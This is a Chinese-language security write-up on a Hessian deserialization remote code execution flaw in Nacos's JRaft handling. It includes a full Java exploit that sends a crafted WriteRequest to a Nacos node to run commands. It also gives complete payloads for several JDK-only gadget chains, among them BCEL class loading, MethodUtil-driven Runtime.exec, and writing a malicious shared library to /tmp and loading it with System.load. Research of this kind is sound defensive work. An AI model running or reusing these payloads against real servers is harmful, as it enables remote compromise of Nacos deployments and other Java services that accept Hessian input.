漏洞描述

Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。

触发点分析

https://github.com/alibaba/nacos/pull/10542/files

可以看出来是SerializerFactory的锅

定位 src/main/java/com/alibaba/nacos/consistency/serialize/HessianSerializer.java

使用类为com/alibaba/nacos/consistency/SerializeFactory.java

其调用HessianSerializer的deserialize方法

构造请求包和gadget

构造请求包

JRaft 可参考JRaft 用户指南 · SOFAStack

复制一段大佬的Payload

package com.alibaba.nacos;import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alipay.sofa.jraft.RouteTable;import com.alipay.sofa.jraft.conf.Configuration;import com.alipay.sofa.jraft.entity.PeerId;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.google.protobuf.ByteString;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.concurrent.ConcurrentHashMap;public class Main {public static void main(String[] args) throws Exception {byte[] bytes = build(new String[]{"open", "-a", "Calculator.app"});send("localhost:7848", bytes);}public static void send(String addr, byte[] payload) throws Exception {Configuration conf = new Configuration();conf.parse(addr);RouteTable.getInstance().updateConfiguration("nacos", conf);CliClientServiceImpl cliClientService = new CliClientServiceImpl();cliClientService.init(new CliOptions());RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();PeerId leader = PeerId.parsePeer(addr);Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");parserClasses.setAccessible(true);ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);}private static byte[] build(String[] cmd) throws Exception {//windows//String[] command = {"cmd", "/c", cmd};String[] command = cmd;Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);Method exec = Runtime.class.getMethod("exec", String[].class);SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});UIDefaults u1 = new UIDefaults();UIDefaults u2 = new UIDefaults();u1.put("key", swingLazyValue);u2.put("key", swingLazyValue);HashMap hashMap = new HashMap();Class node = Class.forName("java.util.HashMap$Node");Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);constructor.setAccessible(true);Object node1 = constructor.newInstance(0, u1, null, null);Object node2 = constructor.newInstance(0, u2, null, null);Field key = node.getDeclaredField("key");key.setAccessible(true);key.set(node1, u1);key.set(node2, u2);Field size = HashMap.class.getDeclaredField("size");size.setAccessible(true);size.set(hashMap, 2);Field table = HashMap.class.getDeclaredField("table");table.setAccessible(true);Object arr = Array.newInstance(node, 2);Array.set(arr, 0, node1);Array.set(arr, 1, node2);table.set(hashMap, arr);HashMap hashMap1 = new HashMap();size.set(hashMap1, 2);table.set(hashMap1, arr);HashMap map = new HashMap();map.put(hashMap, hashMap);map.put(hashMap1, hashMap1);ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);output.writeObject(map);output.flushBuffer();Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));SerializerFactory.createDefault().getClassFactory().allow("*");hessian2Input.readObject();return baos.toByteArray();}}

Gadget

参考资源

0ctf中的Hessian链

https://blog.z3ratu1.top/0CTF2022%E5%A4%8D%E7%8E%B0.html

http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk

​ https://paper.seebug.org/1814/

​ https://paper.seebug.org/1131/

Xstream 历史原生链 https://x-stream.github.io/CVE-2021-21346.html

这里学习一下Hessian原生链

先看https://paper.seebug.org/1814/

发现com.alibaba.com.caucho.hessian.io.Hessian2Input#except()中可以利用readObject创建对象并使用对象的toString方法

protected IOException expect(String expect, int ch) throws IOException {....try {...Object obj = this.readObject();return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n" + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");}

调试发现在Hessian2Input#readString()中switch语句走到default时对.expect()进行调用,尝试寻找利用点

public int readString(char[] buffer, int offset, int length) throws IOException {int readLength = 0;if (this._chunkLength == -2) {this._chunkLength = 0;return -1;} else {int tag;if (this._chunkLength == 0) {tag = this.read();switch(tag) {...case 67...default:throw this.expect("string", tag);}}...

这里tag的case取67时,既可以在readString中执行default,又可以在readObject()中触发readObject(); -> readObjectDefinition(); -> readString();的调用链

public Object readObject(Class cl) throws IOException {if (cl != null && cl != Object.class) {int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();int ref;Deserializer reader;Object v;Object v;Deserializer reader;String type;int size;Deserializer reader;Hessian2Input.ObjectDefinition def;switch(tag) {case 67:this.readObjectDefinition(cl);return this.readObject(cl);...}

可以用这种方法执行反序列化(但上面打nacos的例子代码中并没有使tag=67 还不知道为啥

ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);baos.write(67);output.writeObject(evilClass);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();

简单test后,可行本地弹出计算器

import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;class Evil implements Serializable {@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("success");return super.toString();}}public class main {public static void main(String[] args) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output output = new Hessian2Output(baos);Evil evilClass = new Evil();baos.write(67);output.writeObject(evilClass);output.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}}

XSTream中的toString利用链

如下Jdk原生利用链,可以以toString为入口调用

/*javax.swing.MultiUIDefaults.toStringUIDefaults.getUIDefaults.getFromHashTableUIDefaults$LazyValue.createValueSwingLazyValue.createValuejavax.naming.InitialContext.doLookup()*/UIDefaults uiDefaults = new UIDefaults();uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);declaredConstructor.setAccessible(true);o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});

研究一下

class MultiUIDefaults extends UIDefaults{private UIDefaults[] tables;public MultiUIDefaults(UIDefaults[] defaults) {super();tables = defaults;}public MultiUIDefaults() {super();tables = new UIDefaults[0];}@Overridepublic synchronized String toString() {StringBuffer buf = new StringBuffer();buf.append("{");Enumeration keys = keys();while (keys.hasMoreElements()) {Object key = keys.nextElement();buf.append(key + "=" + get(key) + ", ");//go to super.get()}int length = buf.length();if (length > 1) {buf.delete(length-2, length);}buf.append("}");return buf.toString();}}
public Object get(Object key) {Object value = getFromHashtable( key );return (value != null) ? value : getFromResourceBundle(key, null);}private Object getFromHashtable(final Object key) {/* Quickly handle the common case, without grabbing * a lock. */Object value = super.get(key);if ((value != PENDING) &&!(value instanceof ActiveValue) &&!(value instanceof LazyValue)) {return value;}/* If the LazyValue for key is being constructed by another * thread then wait and then return the new value, otherwise drop * the lock and construct the ActiveValue or the LazyValue. * We use the special value PENDING to mark LazyValues that * are being constructed. */synchronized(this) {value = super.get(key);if (value == PENDING) {do {try {this.wait();}catch (InterruptedException e) {}value = super.get(key);}while(value == PENDING);return value;}else if (value instanceof LazyValue) {super.put(key, PENDING);}else if (!(value instanceof ActiveValue)) {return value;}}/* At this point we know that the value of key was * a LazyValue or an ActiveValue. */if (value instanceof LazyValue) {try {/* If an exception is thrown we'll just put the LazyValue * back in the table. */value = ((LazyValue)value).createValue(this);}finally {synchronized(this) {if (value == null) {super.remove(key);}else {super.put(key, value);}this.notifyAll();}}}else {value = ((ActiveValue)value).createValue(this);}return value;}

最后调用createValue可以调用任意静态方法或者一个构造函数,代码如下

public SwingLazyValue(String var1, String var2, Object[] var3) {this.className = var1;this.methodName = var2;if (var3 != null) {this.args = (Object[])var3.clone();}//构造方法}public Object createValue(UIDefaults var1) {try {ReflectUtil.checkPackageAccess(this.className);Class var2 = Class.forName(this.className, true, (ClassLoader)null);Class[] var3;if (this.methodName != null) {var3 = this.getClassArray(this.args);Method var6 = var2.getMethod(this.methodName, var3);this.makeAccessible(var6);return var6.invoke(var2, this.args);} else {var3 = this.getClassArray(this.args);Constructor var4 = var2.getConstructor(var3);this.makeAccessible(var4);return var4.newInstance(this.args);}} catch (Exception var5) {return null;}}

SwingLazyValue的var3写的是该Method需要的参数

但是经过测试,发现这里其实没法使用:

javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable、newInstance就没有权限

所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

需要找个类替代MultiUIDefaults,由于UIDefaults是继承Hashtable的 ,所以需要从toString()到HashTable.get()

注意:Hessian可以反序列化未实现 Serializable 接口的类

(利用Hessian2Output.getSerializerFactory().setAllowNonSerializable(true);)

PKCS9Attributes+SwingLazyValue+JavaWrapper._main

找到sun.security.pkcs.PKCS9Attributes

跟进getAttribute

这个this.attributes刚好是个HashTable

接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper_main方法

看到实例化一个JavaWrapper,进入wrapper.runMain

使用反射调用了类的_main方法,只需要给类里面加一个_main方法即可实现命令执行

看到loader.loadClass

发现是一个bcel classloader

调用栈

runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)createValue:73, SwingLazyValue (sun.swing)getFromHashtable:216, UIDefaults (javax.swing)get:161, UIDefaults (javax.swing)getAttribute:265, PKCS9Attributes (sun.security.pkcs)toString:334, PKCS9Attributes (sun.security.pkcs)valueOf:2994, String (java.lang)append:131, StringBuilder (java.lang)expect:2880, Hessian2Input (com.caucho.hessian.io)readString:1398, Hessian2Input (com.caucho.hessian.io)readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)readObject:2122, Hessian2Input (com.caucho.hessian.io)

Payload

//test.javapublic class test {public static void _main(String[] argv) throws Exception {Runtime.getRuntime().exec("calc");}}
import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.reflect.ReflectionFactory;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper {public static void main(String[] args) throws Exception {PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);UIDefaults uiDefaults = new UIDefaults();JavaClass evil = Repository.lookupClass(test.class);String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));setFieldValue(s,"attributes",uiDefaults);ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output out = new Hessian2Output(baos);baos.write(67);out.getSerializerFactory().setAllowNonSerializable(true);out.writeObject(s);out.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<" />super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);objCons.setAccessible(true);Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);sc.setAccessible(true);return (T) sc.newInstance(consArgs);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}}

需要注意的是恶意类test需要用public方法才能正确执行payload,static不行

MimeTypeParameterList+SwingLazyValue+MethodUtil.invoke

这里其实调用到SwingLazyValue后用JNDI注入也行(类似最初XStream的洞)但JNDI有java版本限制

高版本pass rmi方法:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

这里尝试一种新的方法

MethodUtil.invoke
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {try {return bounce.invoke((Object)null, var0, var1, var2);} catch (InvocationTargetException var5) {Throwable var4 = var5.getCause();if (var4 instanceof InvocationTargetException) {throw (InvocationTargetException)var4;} else if (var4 instanceof IllegalAccessException) {throw (IllegalAccessException)var4;} else if (var4 instanceof RuntimeException) {throw (RuntimeException)var4;} else if (var4 instanceof Error) {throw (Error)var4;} else {throw new Error("Unexpected invocation error", var4);}} catch (IllegalAccessException var6) {throw new Error("Unexpected invocation error", var6);}}

模仿一下上面的Payload

import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import sun.plugin.com.JavaClass;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;public class MTPList {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {MimeTypeParameterList s = new MimeTypeParameterList();UIDefaults uiDefaults = new UIDefaults();Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);//uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1/ORxBVgXbeP/Plain/Exec/eyJjbWQiOiJjYWxjIn0="}));uiDefaults.put("aaa",new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}}));setFieldValue(s,"parameters",uiDefaults);ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output out = new Hessian2Output(baos);baos.write(67);out.getSerializerFactory().setAllowNonSerializable(true);out.writeObject(s);out.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}}

这里比较有意思的是MethodUtil这里命令执行的构造,实际上是对MethodUtil.invoke进行了两次调用的,道理也很简单,因为SwingLazyValue.createValue方法中是通过传入参数的类型去获取方法的,如果传入的参数不是MethodUtil.class, Object.class, Object[].class就没法找到invoke方法,就无法实现调用了

如果直接调用Method.invoke执行Runtime,此时会 catch (Exception var5) var5 = java.lang.NoSuchMethodException: sun.reflect.misc.MethodUtil.invoke(java.lang.reflect.Method, java.lang.Runtime, [Ljava.lang.Object;)找不到第二个参数类型为Runtime的invoke方法

所以先传入了MethodUtil.invoke, new Object(), new Object[]{},再在后续的object[]中传入Runtime执行命令。
这里有一个需要注意的点,反射调用中,这里的第二个参数应该是方法对应的类实例,第一次应该也是传入MethodUtil,但由于这里调用的是类的静态方法,所以可以传任意的对象进去,这里就是传了一个object

MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load

这里m0onsec师傅找到一个写文件的链:jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode

可以看到参数都是可控的,写后缀为.class文件,并且目录不存在的话会创建目录

但是因为ClassLoader的原因 ,在SwingLazyValue这里只能加载 rt.jar 里面的类,而DumpBytecode类在 nashorn.jar 里面
最后找到ProxyLazyValue.createValue

这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null

我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
首先创建一个动态链接库

#include #include void __attribute__ ((__constructor__))calc (){system("calc");}Copy

然后执行gcc -c calc.c -o calc && gcc calc --share -o calc.so 生成恶意so文件

写文件payload:

import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import jdk.nashorn.internal.runtime.ScriptEnvironment;import jdk.nashorn.internal.runtime.logging.DebugLogger;import sun.misc.Unsafe;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode {public static void main(String[] args) throws Exception {Unsafe unsafe = getUnsafe();Object script = unsafe.allocateInstance(ScriptEnvironment.class);setFieldValue(script,"_dest_dir","/tmp/");Object debug=unsafe.allocateInstance(DebugLogger.class);byte[] code= Files.readAllBytes(Paths.get("./calc.so"));String classname="calc";//写文件UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{script,debug,code,classname});//System.load加载so文件//UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{//"/tmp/calc.class"//});setFieldValue(proxyLazyValue,"acc",null);UIDefaults uiDefaults = new UIDefaults();uiDefaults.put("key", proxyLazyValue);Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");Object mimeTypeParameterList = unsafe.allocateInstance(clazz);setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output out = new Hessian2Output(baos);baos.write(67);out.getSerializerFactory().setAllowNonSerializable(true);out.writeObject(mimeTypeParameterList);out.flushBuffer();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());Hessian2Input input = new Hessian2Input(bais);input.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static Unsafe getUnsafe() throws Exception{Class<" />> aClass = Class.forName("sun.misc.Unsafe");Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();declaredConstructor.setAccessible(true);Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();return unsafe;}}Copy

最后加载即可,注意linux和windows生成的so文件存在区别

调用栈:

dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:275, MethodUtil (sun.reflect.misc)run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)doPrivileged:-1, AccessController (java.security)createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)getFromHashtable:216, UIDefaults (javax.swing)get:161, UIDefaults (javax.swing)toString:290, MimeTypeParameterList (java.awt.datatransfer)valueOf:2994, String (java.lang)append:131, StringBuilder (java.lang)expect:2880, Hessian2Input (com.caucho.hessian.io)readString:1398, Hessian2Input (com.caucho.hessian.io)readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)readObject:2122, Hessian2Input (com.caucho.hessian.io)

Hashtable.equals

0ops师傅的解法是直接走的Hashtable.equals这个入口,不从tostring()走

payload:

import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import com.caucho.hessian.io.*;import java.io.*;import java.util.HashMap;import javax.swing.UIDefaults;import sun.swing.SwingLazyValue;public class Hessian_onlyJdk {public static void main(final String[] args) throws Exception {Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});UIDefaults uiDefaults1 = new UIDefaults();uiDefaults1.put("_", slz);UIDefaults uiDefaults2 = new UIDefaults();uiDefaults2.put("_", slz);HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);ByteArrayOutputStream bos = new ByteArrayOutputStream();Hessian2Output oo = new Hessian2Output(bos);oo.getSerializerFactory().setAllowNonSerializable(true);oo.writeObject(hashMap);oo.flush();ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());Hessian2Input hessian2Input = new Hessian2Input(bai);hessian2Input.readObject();}public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<" />> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");} catch (ClassNotFoundException e) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}}Copy

调用栈:

invoke:275, MethodUtil (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)createValue:73, SwingLazyValue (sun.swing)getFromHashtable:216, UIDefaults (javax.swing)get:161, UIDefaults (javax.swing)equals:814, Hashtable (java.util)putVal:635, HashMap (java.util)put:612, HashMap (java.util)readMap:114, MapDeserializer (com.caucho.hessian.io)readMap:538, SerializerFactory (com.caucho.hessian.io)readObject:2110, Hessian2Input (com.caucho.hessian.io)

What in Nacos

2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单

黑名单在 com.caucho.hessian.io.ClassFactory#isAllow

所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup也g了,不过可以

用com.sun.org.apache.bcel.internal.util.JavaWrapper,直接加载bcel字节码rce,不过bcel

classloader在8u251没了,所以仍然想找一个通用点的方式。( author: Y4er.com